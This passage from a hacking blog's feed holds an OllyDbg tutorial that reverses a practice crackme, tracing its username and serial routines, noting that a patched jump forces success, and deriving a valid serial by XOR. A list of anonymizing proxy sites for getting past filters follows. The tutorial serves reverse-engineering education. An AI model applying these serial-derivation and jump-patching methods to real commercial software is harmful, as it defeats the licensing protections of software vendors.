writer - hackeramit4u@gmail.com &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/8682668892417550461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/basic-tutorial-video-on-how-to-use.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/8682668892417550461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/8682668892417550461'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/basic-tutorial-video-on-how-to-use.html' title='Ollydbg Basics With Video'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://i46.tinypic.com/142v2gx_th.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-4423902988011933230</id><published>2011-02-15T08:09:00.000-08:00</published><updated>2011-02-15T08:09:09.722-08:00</updated><title type='text'>Ollydbg Basics for Beginners</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;a href=&quot;&quot; id=&quot;rate&quot;&gt;I&#39;ve decided to write this series of articles almost as a  helper to those stuck on Geek 8. Looking at the stats, this seems to be  where a lot of users get stuck so hopefully this article will show you  how to progress. When I came to this level, I hadn&#39;t done anything like  this before but since then I&#39;ve been doing some reading around the  subject and (geekily enough) I find it quite interesting. &lt;br /&gt;
&lt;br /&gt;
--------------------- &lt;br /&gt;
Section 1 - The Tools &lt;br /&gt;
--------------------- &lt;br /&gt;
1. Ollydbg&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
--------------------------- &lt;br /&gt;
Section 2 - Getting Started &lt;br /&gt;
--------------------------- &lt;br /&gt;
&lt;br /&gt;
Ok, so you should have downloaded the crackme and have Ollydebug  installed. First thing to do is close this tutorial and have a play  around. See what you can find and get a feel for the program. The very  least this will do is teach you how to use basic Ollydebug functions. No  cheating now ;-) &lt;br /&gt;
&lt;br /&gt;
Done? Well maybe you suprised yourself and found things you thought  you&#39;d never find? Maybe you found nothing and reckon you just wasted 30  minutes? Either way, I&#39;ll go through the process I used to reverse this  and hopefully it will teach you a few things. &lt;br /&gt;
&lt;br /&gt;
Okay, so run the crackme and lets have a look around. Well, theres  not much to see but we can find a &#39;Register&#39; box. Enter a user name into  the box and a random username. You&#39;ll get a message saying &#39;No luck  there mate&#39; (incidentally, if you do happen to guess your serial and get  the &#39;Congratulations&#39; message, I recommend that you buy a lottery  ticket today). So we know what we need to do; we need to find the serial  - at this point we dont know if its a hard coded number or if its  generated from the username but thats part of the fun! &lt;br /&gt;
&lt;br /&gt;
Okay, so open Olly and select Crackme1.exe. You&#39;ll then be presented with the workings of the application, starting about here : &lt;br /&gt;
&lt;br /&gt;
00401000  6A 00          PUSH 0 &lt;br /&gt;
00401002  E8 FF040000    CALL &amp;lt;JMP.&amp;amp;KERNEL32.GetModuleHandleA&amp;gt; &lt;br /&gt;
00401007  A3 CA204000    MOV DWORD PTR DS:[4020CA],EAX &lt;br /&gt;
0040100C  6A 00          PUSH 0 &lt;br /&gt;
&lt;br /&gt;
Now, we know that the Crackme is taking whatever we typed and  checking it against the correct serial. We therefore need Olly to  intercept any calls this crackme makes where it could be reading what we  typed from the username and serial boxes. There are a few ways windows  does this - its beyond the scope of this article to teach you the depths  - but I will tell you that one of them if using the call  &#39;GetDlgItemTextA&#39;. &lt;br /&gt;
&lt;br /&gt;
So, what we need to do is make sure that if the Crackme makes this  call, Olly intercepts it and breaks for us so that we can follow what is  being done with the information. Thats easy enough. If you press Ctrl-N  (or right click and select &#39;Search for&#39; followed by &#39;name (label) in  current module&#39;) you are presented with a list of calls made by the  crackme. You can then right click on GetDlgItemTextA and select &#39;set  breakpoint on every reference&#39;. &lt;br /&gt;
&lt;br /&gt;
We&#39;re ready to go. Press F9 and Olly will run the crackme,  presenting you with its user interface. Go to the registration box and  enter a name and any serial. I&#39;m using &quot;FaTaLPrIdE&quot; and &quot;123456&quot;. Press  the register button and Olly should break here : &lt;br /&gt;
&lt;br /&gt;
004012C4  |. E8 07020000         |CALL &amp;lt;JMP.&amp;amp;USER32.GetDlgItemTextA&amp;gt; &lt;br /&gt;
004012C9  |. 83F8 01             |CMP EAX,1 &lt;br /&gt;
004012CC  |. C745 10 EB0300&amp;gt;     |MOV DWORD PTR SS:[EBP+10],3EB &lt;br /&gt;
&lt;br /&gt;
Now, this is the first reference to the call &#39;GetDlgItemTextA&#39; so we  know our serial is shortly going to be read in. If you read the top of  you Olly window, it should say [CPU - main thread, module Crackme1].  This is important as when this says Kernel or User32, we know we can  keeping stepping as it has nothing to do with our serial - we are only  interested in the Crackme. &lt;br /&gt;
&lt;br /&gt;
Press F8 to step over the program and try to get a feel for what is  going on. Pressing just twice will bring you into User32 and after 15  step overs we are back with the crackme. 25 steps take us back to User32  and 38 take us back again. In future you will use F10 and F12 to step,  F8 just shows you more of whats involved. If we continue this process we  go through a long session in User32 and eventually land back here: &lt;br /&gt;
&lt;br /&gt;
00401223   . 83F8 00        CMP EAX,0 &lt;br /&gt;
00401226   .^74 BE          JE SHORT Crackme1.004011E6 &lt;br /&gt;
00401228   . 68 8E214000    PUSH Crackme1.0040218E                   ;  ASCII &quot;FaTaL_PrId&quot; &lt;br /&gt;
0040122D   . E8 4C010000    CALL Crackme1.0040137E &lt;br /&gt;
00401232   . 50             PUSH EAX &lt;br /&gt;
00401233   . 68 7E214000    PUSH Crackme1.0040217E                   ;  ASCII &quot;123456&quot; &lt;br /&gt;
00401238   . E8 9B010000    CALL Crackme1.004013D8 &lt;br /&gt;
0040123D   . 83C4 04        ADD ESP,4 &lt;br /&gt;
00401240   . 58             POP EAX &lt;br /&gt;
00401241   . 3BC3           CMP EAX,EBX &lt;br /&gt;
00401243   . 74 07          JE SHORT Crackme1.0040124C &lt;br /&gt;
&lt;br /&gt;
This is where the fun begins. We&#39;re done with the User32 code and  are back with the main routine of the Crackme. Olly even helps show us  we&#39;re in the right place by showing that our entered username and  password are pushed to the stack before calls are made and a compare is  made shortly afterwards. &lt;br /&gt;
&lt;br /&gt;
For now, press Ctrl-N, select &#39;GetDlgItemTextA&#39; and press &#39;remove  all breakpoints&#39;. Then select the line 00401223 and press F2 to put a  new breakpoint here. What this means is that you can now come back here  whenever you run the program without stepping through all the previous  steps we have taken. You dont want to search for this again if you press  a wrong button somewhere! &lt;br /&gt;
&lt;br /&gt;
So, we probably know how we could get the congrats message - a flick  of the Z bit at 00401241 or simple patch of the JE at 00401243 should  do it. But that doesn&#39;t teach us much, we want to know exactly what this  crackme is doing in order to test our username and serial.  Our job is  to trace the calls at 0040122D and 00401238 to find out exactly what is  going on here. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----------------------------- &lt;br /&gt;
Section 3 - The First Routine &lt;br /&gt;
----------------------------- &lt;br /&gt;
&lt;br /&gt;
You should still be at 00401243. Press F8 until you highlight the following row: &lt;br /&gt;
0040122D   . E8 4C010000    CALL Crackme1.0040137E &lt;br /&gt;
&lt;br /&gt;
Now press F7. The difference between F7 and F8 is that F8 steps over  calls and F7 steps into them. In other words, if a call is of no  interest to you, you can press F8 to step over it and carry on. If you  think that it might contain some vital information, press F7 to step  into it and you can look at it in detail. &lt;br /&gt;
&lt;br /&gt;
You should now be here : &lt;br /&gt;
&lt;br /&gt;
0040137E  /$ 8B7424 04      MOV ESI,DWORD PTR SS:[ESP+4]             ;  Crackme1.0040218E &lt;br /&gt;
00401382  |. 56             PUSH ESI &lt;br /&gt;
00401383  |&amp;gt; 8A06           /MOV AL,BYTE PTR DS:[ESI] &lt;br /&gt;
00401385  |. 84C0           |TEST AL,AL &lt;br /&gt;
00401387  |. 74 13          |JE SHORT Crackme1.0040139C &lt;br /&gt;
00401389  |. 3C 41          |CMP AL,41 &lt;br /&gt;
0040138B  |. 72 1F          |JB SHORT Crackme1.004013AC &lt;br /&gt;
0040138D  |. 3C 5A          |CMP AL,5A &lt;br /&gt;
0040138F  |. 73 03          |JNB SHORT Crackme1.00401394 &lt;br /&gt;
00401391  |. 46             |INC ESI &lt;br /&gt;
00401392  |.^EB EF          |JMP SHORT Crackme1.00401383 &lt;br /&gt;
00401394  |&amp;gt; E8 39000000    |CALL Crackme1.004013D2 &lt;br /&gt;
00401399  |. 46             |INC ESI &lt;br /&gt;
0040139A  |.^EB E7          \JMP SHORT Crackme1.00401383 &lt;br /&gt;
0040139C  |&amp;gt; 5E             POP ESI &lt;br /&gt;
0040139D  |. E8 20000000    CALL Crackme1.004013C2 &lt;br /&gt;
&lt;br /&gt;
Okay, so we see at 0040137E that our username is loaded into ESI  ready for processing. The first character of our username (F in my case)  is then moved into AL before being tested to see if it is 0. Then the  interesting stuff starts - at 00401389 the F is compared with 41. A  strange comparison you might think? &lt;br /&gt;
&lt;br /&gt;
Open up a browser window and go to &lt;a href=&quot;http://www.asciitable.com/&quot;&gt;www.asciitable.com&lt;/a&gt;  and you&#39;ll get a better understanding. The computer deals with  character values in hex i.e. next to my F in Olly is the number 46. If  you look at the ASCII table you will see that 46 is the hexadecimal  representation of &#39;F&#39; and 41 is the representation of &#39;A&#39;. What the line  at 00401389 is doing then, is its taking the first letter of our  username and comparing it with A. The result of this comparison effects  what happens at the jump on the next line (0040138B) as if the first  letter of our name is less than A (see the ASCII table) it jumps  elsewhere. My F is above A though so we continue to 0040138D. &lt;br /&gt;
&lt;br /&gt;
Here a similar operation is performed. A quick look at our ASCII  values shows us that our character is now being compared with Z - this  time a jump is taken if the value is above Z. Obviously, my F is fine  and we continue. &lt;br /&gt;
&lt;br /&gt;
At 00401399 ESI is incremented before a jump is taken back to  00401383. If you remember, our username is stored in ESI so this has  essentially just moved us to the next letter of our username and gone  back to the beginning of this routine. My second letter is &#39;a&#39; so lets  see how this is dealt with. &lt;br /&gt;
&lt;br /&gt;
Well, stepping through it passes the comparison with &#39;A&#39; as 61 is  indeed greater than 41(A). When we get to the comparison with Z though,  it fails and the jump is taken at 0040138F to 00401394. This is because,  as the table shows, a(61) is greater than Z(5A). &lt;br /&gt;
&lt;br /&gt;
So we land here : &lt;br /&gt;
00401394  |&amp;gt; E8 39000000    |CALL Crackme1.004013D2 &lt;br /&gt;
&lt;br /&gt;
Which in turn sends us here: &lt;br /&gt;
004013D2  /$ 2C 20          SUB AL,20 &lt;br /&gt;
004013D4  |. 8806           MOV BYTE PTR DS:[ESI],AL &lt;br /&gt;
004013D6  \. C3             RETN &lt;br /&gt;
&lt;br /&gt;
So whats happening here? Our character is in AL and gets 20  subtracted from it. Whats this for? Check out the ASCII table.... you  will see that my &#39;a&#39; is 20 values higher than &#39;A&#39; i.e. a-20=A; this sub  routine has just capitalised my character! It then jumps back to the  routine, increments ESI to the next letter and continues. &lt;br /&gt;
&lt;br /&gt;
Step through the rest of the routine and you&#39;ll notice that your  entire username is processed to make sure its uppercase. Thats all this  bit is doing. My username is now FATALPRIDE. &lt;br /&gt;
&lt;br /&gt;
A couple of points to note though are that if you only used  uppercase letters anyway, this routine is redundant and you wont even  see the SUB AL,20 part. Also, if you have non alphabetic characters in  there, they&#39;ll be taken down 20 values too as they obviously are not  between A and Z. &lt;br /&gt;
&lt;br /&gt;
Once the last letter of your username has been processed, the TEST  AL,AL will fail and the application jumps out of this loop to 0040139C  where your newly capitalised name is popped from the stack to ESI. &lt;br /&gt;
&lt;br /&gt;
Then comes this line: &lt;br /&gt;
0040139D  |. E8 20000000    CALL Crackme1.004013C2 &lt;br /&gt;
&lt;br /&gt;
Press F7 to trace this call - this is the second routine. Setting a breakpoint here may be useful too! &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------------------------------ &lt;br /&gt;
Section 4 - The Second Routine &lt;br /&gt;
------------------------------ &lt;br /&gt;
&lt;br /&gt;
When we trace the above call we get the following: &lt;br /&gt;
004013C2  /$ 33FF           XOR EDI,EDI &lt;br /&gt;
004013C4  |. 33DB           XOR EBX,EBX &lt;br /&gt;
004013C6  |&amp;gt; 8A1E           /MOV BL,BYTE PTR DS:[ESI] &lt;br /&gt;
004013C8  |. 84DB           |TEST BL,BL &lt;br /&gt;
004013CA  |. 74 05          |JE SHORT Crackme1.004013D1 &lt;br /&gt;
004013CC  |. 03FB           |ADD EDI,EBX &lt;br /&gt;
004013CE  |. 46             |INC ESI &lt;br /&gt;
004013CF  |.^EB F5          \JMP SHORT Crackme1.004013C6 &lt;br /&gt;
004013D1  \&amp;gt; C3             RETN &lt;br /&gt;
&lt;br /&gt;
So whats happening here? Well firstly EDI and EBX are XOR&#39;d with  themselves - you&#39;ve passed enough challenges to know that this always  returns a 0 result hence this is just a way of clearing both EDI and  EBX. &lt;br /&gt;
&lt;br /&gt;
Then a similar thing happens to what happened in the above routine -  the only difference being that the first letter of our capitalised  username is move to BL rather than AL. Its then tested incase its 0  before landing at 004013CC. &lt;br /&gt;
&lt;br /&gt;
If you&#39;ve read Trope&#39;s articles, you&#39;ll know that BL (where our  character is stored) is just the lower memory in EBX. Hence ADD EDI,EBX  is taking the value of that character and adding it to EDI - obviously,  we just zero&#39;d EDI so for the first letter, its added to 0. We then  increment to the next letter of our username and the process is repeated  although notice that the loop does not include the XOR functions each  time. This basically has the effect of adding all the values of our  username together and storing it in EDI. For my username I get this : &lt;br /&gt;
&lt;br /&gt;
F  + A  + T  + A  + L  + P  + R  + I  + D  + E &lt;br /&gt;
46 + 41 + 54 + 41 + 4C + 50 + 52 + 49 + 44 + 45  =       02DC &lt;br /&gt;
&lt;br /&gt;
At the end of the username, we fail the TEST BL,BL and jump out to  the return statement at 004013D1. Our summed username (02DC in my case)  is still stored in EDI. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--------------------------------------- &lt;br /&gt;
Section 5 - Finishing With The Username &lt;br /&gt;
--------------------------------------- &lt;br /&gt;
&lt;br /&gt;
So the last line of the above routine is : &lt;br /&gt;
004013D1  \&amp;gt; C3             RETN &lt;br /&gt;
&lt;br /&gt;
When we step over this, it takes us back to the end of the first  routine, to where the second routine was called from. We land here : &lt;br /&gt;
004013A2  |. 81F7 78560000  XOR EDI,5678 &lt;br /&gt;
004013A8  |. 8BC7           MOV EAX,EDI &lt;br /&gt;
&lt;br /&gt;
Okay, so here we have another XOR statement - this time the contents  of EDI are XOR&#39;d with &#39;5678&#39;. We know that EDI contains our summed  username so in my case, this equation is : &lt;br /&gt;
&lt;br /&gt;
02DC XOR 5678 - the result is stored in EDI again (54A4 in my case)  before the next statement moves it to EAX. We then jump back to the  initial code we looked at in section 2. &lt;br /&gt;
&lt;br /&gt;
00401223   . 83F8 00        CMP EAX,0 &lt;br /&gt;
00401226   .^74 BE          JE SHORT Crackme1.004011E6 &lt;br /&gt;
00401228   . 68 8E214000    PUSH Crackme1.0040218E                   ;  ASCII &quot;FaTaL_PrId&quot; &lt;br /&gt;
0040122D   . E8 4C010000    CALL Crackme1.0040137E &lt;br /&gt;
00401232   . 50             PUSH EAX &lt;br /&gt;
00401233   . 68 7E214000    PUSH Crackme1.0040217E                   ;  ASCII &quot;123456&quot; &lt;br /&gt;
00401238   . E8 9B010000    CALL Crackme1.004013D8 &lt;br /&gt;
0040123D   . 83C4 04        ADD ESP,4 &lt;br /&gt;
00401240   . 58             POP EAX &lt;br /&gt;
00401241   . 3BC3           CMP EAX,EBX &lt;br /&gt;
00401243   . 74 07          JE SHORT Crackme1.0040124C &lt;br /&gt;
&lt;br /&gt;
The difference is that we have now completed the call at 0040122D  and we&#39;re now at 00401232 waiting to continue. Congratulations you&#39;ve  just traced your first call and now you understand exactly how this  applications processes a username! Now see if you can follow the same  procedure for the second call below! Trace into it with F7 and see what  you can find...... set a break point first so that if you mess up you  can try again or pick this guide up where you left off! &lt;br /&gt;
&lt;br /&gt;
------------------------------------ &lt;br /&gt;
Section 6 - Starting With The Serial &lt;br /&gt;
------------------------------------ &lt;br /&gt;
&lt;br /&gt;
How did you get on? Lets find out.... &lt;br /&gt;
&lt;br /&gt;
Firstly we see EAX is pushed to the stack (we know that this  contains our summed username XOR&#39;d with 5678 from the previous call) and  then our entered serial (123456) is pushed to the stack too. We can  then use F7 to trace our second call. We land here : &lt;br /&gt;
&lt;br /&gt;
004013D8  /$ 33C0           XOR EAX,EAX &lt;br /&gt;
004013DA  |. 33FF           XOR EDI,EDI &lt;br /&gt;
004013DC  |. 33DB           XOR EBX,EBX &lt;br /&gt;
004013DE  |. 8B7424 04      MOV ESI,DWORD PTR SS:[ESP+4] &lt;br /&gt;
004013E2  |&amp;gt; B0 0A          /MOV AL,0A &lt;br /&gt;
004013E4  |. 8A1E           |MOV BL,BYTE PTR DS:[ESI] &lt;br /&gt;
004013E6  |. 84DB           |TEST BL,BL &lt;br /&gt;
004013E8  |. 74 0B          |JE SHORT Crackme1.004013F5 &lt;br /&gt;
004013EA  |. 80EB 30        |SUB BL,30 &lt;br /&gt;
004013ED  |. 0FAFF8         |IMUL EDI,EAX &lt;br /&gt;
004013F0  |. 03FB           |ADD EDI,EBX &lt;br /&gt;
004013F2  |. 46             |INC ESI &lt;br /&gt;
004013F3  |.^EB ED          \JMP SHORT Crackme1.004013E2 &lt;br /&gt;
004013F5  |&amp;gt; 81F7 34120000  XOR EDI,1234 &lt;br /&gt;
004013FB  |. 8BDF           MOV EBX,EDI &lt;br /&gt;
004013FD  \. C3             RETN &lt;br /&gt;
&lt;br /&gt;
The first three lines should be no issue - we&#39;re clearing the EAX,  EDI and EBX registers by XORing them with themselves. Following this,  our Serial number is moved into ESI and the processing begins. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--------------------------------- &lt;br /&gt;
Section 7 - Processing The Serial &lt;br /&gt;
--------------------------------- &lt;br /&gt;
&lt;br /&gt;
So you should be at the beginning of the loop at 004013E2. Lets try  and work out whats going on here. Firstly, 0A (10) is moved into AL and  then the first character of our serial (1 in my case) is moved into BL  before being tested for 0 in the usual way. Note though that EBX  contains 31 rather than 1 i.e. the hexadecimal representation of the  character 1. &lt;br /&gt;
&lt;br /&gt;
After this, 30 is subtracted from our number i.e. 31-30 in my case.  Then EAX and EDI are multiplied and our processed character added to the  result. This is then stored in EDI. &lt;br /&gt;
&lt;br /&gt;
In other words, EDI holds (31-30) + (10x0) = 1 ; after one iteration  on my serial. The process is then repeated but this time, remember that  EDI is no longer 0 so when EDI is multiplied by EAX, we get a different  result. i.e. &lt;br /&gt;
&lt;br /&gt;
1 (previous iteration) + ( (32-30) + (10x1) ) = 0C &lt;br /&gt;
&lt;br /&gt;
Continue this trough the rest of your serial and we get a final  result (1e240 in my case). Actually, what this has done is to convert  our serial to hex! &lt;br /&gt;
&lt;br /&gt;
So we jump out of the loop and land at 004013F5. This is interesting  - remember in the last call where the username was uppercased and XOR&#39;d  with 5678h? Well here we&#39;ve just hexed the serial and now we&#39;re XORing  it with 1234h (result is 1f074 in my case)! &lt;br /&gt;
&lt;br /&gt;
Simple really! The result is then moved from EDI to EBX and we jump back to our initial piece of code again! &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------- &lt;br /&gt;
Section 8 - The Final Stages &lt;br /&gt;
---------------------------- &lt;br /&gt;
&lt;br /&gt;
This is it..... the final stages of the crackme. We jump back to here : &lt;br /&gt;
0040123D   . 83C4 04        ADD ESP,4 &lt;br /&gt;
00401240   . 58             POP EAX &lt;br /&gt;
00401241   . 3BC3           CMP EAX,EBX &lt;br /&gt;
00401243   . 74 07          JE SHORT Crackme1.0040124C &lt;br /&gt;
00401245   . E8 18010000    CALL Crackme1.00401362 &lt;br /&gt;
0040124A   .^EB 9A          JMP SHORT Crackme1.004011E6 &lt;br /&gt;
0040124C   &amp;gt; E8 FC000000    CALL Crackme1.0040134D &lt;br /&gt;
&lt;br /&gt;
The first line is a quick stack cleanup which then leaves our  processed username value (54A4 in my case) on the top of the stack. This  is then popped to EAX. &lt;br /&gt;
&lt;br /&gt;
Then comes the critical comparison : &lt;br /&gt;
00401241   . 3BC3           CMP EAX,EBX &lt;br /&gt;
&lt;br /&gt;
EAX (the result of our username being processed) and EBX are  compared - the two values should look familiar as they are the results  of our two calls i.e. in my case they are 54A4 and 1f074. &lt;br /&gt;
&lt;br /&gt;
The next jump statement is the critical one - if the two values in  EAX and EBX are equal, we jump to the call statement at the bottom of  the above code extract.... this is our success box! (Hence the reason I  said we could patch this jump to jump if not equal rather than if  equal). If EAX and EBX are not equal, we dont jump and we are taken down  the &#39;No luck there mate&#39; routine - this is where I go on this occasion  as 123456 is not my correct serial. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----------------------------------- &lt;br /&gt;
Section 9 - Determining Your Serial &lt;br /&gt;
----------------------------------- &lt;br /&gt;
&lt;br /&gt;
So, we have found that the crucial operation is a comparison of our  processed username and our processed serial. Specifically, our processed  serial give the same result as our processed username in order to be  valid. So how do we achieve this? &lt;br /&gt;
&lt;br /&gt;
Well, this is where knowledge of the XOR function brings us through. We know that : &lt;br /&gt;
if A XOR B = C &lt;br /&gt;
then C XOR B = A. &lt;br /&gt;
&lt;br /&gt;
So how is this useful? &lt;br /&gt;
Well, looking at the way the serial is processed, our entered serial  in hex XOR with 1234 must equal our processed username (in my case  54A4). Using the above reasoning then, our serial is our processed  username XOR with 1234 i.e. (for me) &lt;br /&gt;
&lt;br /&gt;
Serial for FaTaLPrIdE = 54A4 XOR 1234 &lt;br /&gt;
&lt;br /&gt;
5 4 A 4 = 0101 0100 1010 0100 &lt;br /&gt;
1 2 3 4 = 0001 0010 0011 0100 &lt;br /&gt;
SERIAL  = 0100 0110 1001 0000 = 4690h &lt;br /&gt;
&lt;br /&gt;
Convert to Decimal = 16 + 128 + 512 + 1024 + 16384 = 18064 &lt;br /&gt;
(we need to do this as we are reversing the fact that our program coverts the decimal serial we entered into hex). &lt;br /&gt;
&lt;br /&gt;
Hence I have username FaTaLPrIdE (not case sensitive due to the uppercasing routine) and serial 18064. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----------------------- &lt;br /&gt;
Section 10 - Conclusion &lt;br /&gt;
----------------------- &lt;br /&gt;
&lt;br /&gt;
So thats it! I hope you enjoyed this and found it useful. As I say,  I&#39;m a complete beginner at this so I thought a beginners guide written  by a beginner would be useful to a few people. &lt;br /&gt;
&lt;br /&gt;
If you like this, just pop a comment below and let me know.  Similarly, if you have a criticism or improvement, I&#39;d like to hear it  too. Please don&#39;t tell me it was too simple though as that was the point  of the article - to explain as much as I could for those who have never  used a debugger before. &lt;br /&gt;
&lt;br /&gt;
I&#39;d recommend trying crackme 2 if you get a chance. Personally, I  think its easier than this one - use the same techniques and work out  how your password is being dealt with. I&#39;ll write a tutorial when I get a  chance, but feel free to PM me if you want a helping hand before the  article is out. &lt;br /&gt;
&lt;br /&gt;
As you for you reading this because level 8 is bothering you, I hope  this will help you out. Level 8 has a few extra tricks up its sleeve  but if you&#39;ve got that far, you should be able to sort through them.  Just logically step through and work out exactly what is happening -  write it down to keep note. &lt;br /&gt;
&lt;br /&gt;
Thanks for reading. Please dont reproduce this on other sites - its written specifically for the Geeks ;-)&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/4423902988011933230/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/ollydbg-basics-for-beginners.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4423902988011933230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4423902988011933230'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/ollydbg-basics-for-beginners.html' title='Ollydbg Basics for Beginners'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-2998488116354639970</id><published>2011-02-13T00:30:00.000-08:00</published><updated>2011-02-13T00:30:26.823-08:00</updated><title type='text'>Exploration Of All Proxies</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Anonymouse – A very good free anonymizer. By using this CGI proxy you can anonymously surf web pages, send anonymous e-mails and look at news.&lt;br /&gt;
ProxyKing.net – This anonymizer service keeps websites from tracking your internet movements by preventing them from placing cookies on your home computer.&lt;br /&gt;
AnonymousIndex.com – Anonymous private surfing service, hide your ip, manage website ads, referrers and cookies through this free web based proxy.&lt;br /&gt;
HideMyAss.com – Free anonymous browsing, for the times when you REALLY need to hide your ass online!&lt;br /&gt;
ProxyFoxy.com – Proxy Foxy offers you free anonymous surfing. With our free tool you can surf the Internet safe and secure without revealing your identity. Avoid cookies, spyware and other malicious scripts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.perfectproxy.com/&lt;br /&gt;
http://www.primeproxy.com/&lt;br /&gt;
http://www.proxyaware.com/&lt;br /&gt;
http://www.proxycraze.com/&lt;br /&gt;
http://www.proxygasp.com/&lt;br /&gt;
http://www.proxyplease.com/&lt;br /&gt;
http://www.someproxy.com/&lt;br /&gt;
http://www.stupidproxy.com/&lt;br /&gt;
http://ipchicken.com&lt;br /&gt;
http://www.Stealth-ip.com&lt;br /&gt;
http://www.Stealth-ip.org&lt;br /&gt;
http://www.Stealth-ip.us&lt;br /&gt;
http://www.Stealth-ip.info&lt;br /&gt;
http://poxy.us.to/&lt;br /&gt;
http://www.BlockFilter.com&lt;br /&gt;
http://www.ecoproxy.com/&lt;br /&gt;
http://www.coreproxy.com/&lt;br /&gt;
http://proxymy.com/&lt;br /&gt;
http://www.illegalproxy.com/&lt;br /&gt;
http://www.filterfakeout.com/&lt;br /&gt;
http://www.privacybrowsing.com/&lt;br /&gt;
http://www.w00tage.com/&lt;br /&gt;
http://www.aplusproxy.com/&lt;br /&gt;
http://www.arandomproxy.com/&lt;br /&gt;
http://www.w3privacy.com/&lt;br /&gt;
http://argentinaproxy.com&lt;br /&gt;
http://hotyogasite.com&lt;br /&gt;
http://damaliens.com&lt;br /&gt;
http://swagproxy.com&lt;br /&gt;
http://cloak-me.info&lt;br /&gt;
http://247websurf.com&lt;br /&gt;
http://proxify.net&lt;br /&gt;
http://salemguide.info&lt;br /&gt;
http://your-proxy.org&lt;br /&gt;
http://amandas-proxy.info&lt;br /&gt;
http://co-i.info&lt;br /&gt;
http://w3privacy.com&lt;br /&gt;
http://thecrazynetwork.com&lt;br /&gt;
http://pajaxy.com&lt;br /&gt;
http://mtgtv.com&lt;br /&gt;
http://visitriga.info&lt;br /&gt;
http://gfun.info&lt;br /&gt;
http://surfsizzle.com&lt;br /&gt;
http://thecrazycall.com&lt;br /&gt;
http://proxify.com&lt;br /&gt;
&lt;br /&gt;
http://www.proxy1.info/&lt;br /&gt;
http://www.proxy2info/&lt;br /&gt;
http://www.proxy3.info/&lt;br /&gt;
http://www.proxy4.info/&lt;br /&gt;
http://www.proxy5.info/&lt;br /&gt;
http://www.proxy6.info/&lt;br /&gt;
http://www.proxy7.info/&lt;br /&gt;
http://www.proxy8.info/&lt;br /&gt;
http://www.proxy9.info/&lt;br /&gt;
http://www.proxy10.info/&lt;br /&gt;
http://www.proxy11.info/&lt;br /&gt;
http://www.proxy12.info/&lt;br /&gt;
http://www.proxy13.info/&lt;br /&gt;
http://www.proxy14.info/&lt;br /&gt;
http://www.proxy15.info/&lt;br /&gt;
http://www.proxy16.info/&lt;br /&gt;
http://www.proxy17.info/&lt;br /&gt;
http://www.proxy18.info/&lt;br /&gt;
http://www.proxy19.info/&lt;br /&gt;
http://www.proxy20.info/&lt;br /&gt;
http://www.proxyok.com/&lt;br /&gt;
&lt;br /&gt;
http://www.boredatwork.info/&lt;br /&gt;
http://www.anonymousurfing.info/&lt;br /&gt;
http://www.browsingwork.com/&lt;br /&gt;
http://www.freeproxyserver.org/&lt;br /&gt;
http://www.browseany.com/&lt;br /&gt;
http://www.browsesecurely.com/&lt;br /&gt;
http://IEproxy.com/&lt;br /&gt;
http://www.sneak3.po.gs/&lt;br /&gt;
http://www.proxytastic.com/&lt;br /&gt;
http://www.freewebproxy.org/&lt;br /&gt;
http://www.thecgiproxy.com/&lt;br /&gt;
http://www.hide-me.be/&lt;br /&gt;
http://www.anotherproxy.com/&lt;br /&gt;
http://www.proxy77.com/&lt;br /&gt;
http://www.surf-anon.com/&lt;br /&gt;
http://www.free-proxy.info/&lt;br /&gt;
http://www.theproxysite.info/&lt;br /&gt;
http://www.proxyify.info/&lt;br /&gt;
http://www.concealme.com/&lt;br /&gt;
&lt;br /&gt;
http://imsneaky.com&lt;br /&gt;
http://lawi.info&lt;br /&gt;
http://fieldcollege.info&lt;br /&gt;
http://bigredhot.com&lt;br /&gt;
http://portugalproxy.com&lt;br /&gt;
http://aboutgreatbritain.info&lt;br /&gt;
http://surf24h.com&lt;br /&gt;
http://xoxy.com&lt;br /&gt;
http://proxyparadise.info&lt;br /&gt;
http://proxycrib.com&lt;br /&gt;
http://unblock.biz&lt;br /&gt;
http://newzealandproxy.com&lt;br /&gt;
http://your-proxy.info&lt;br /&gt;
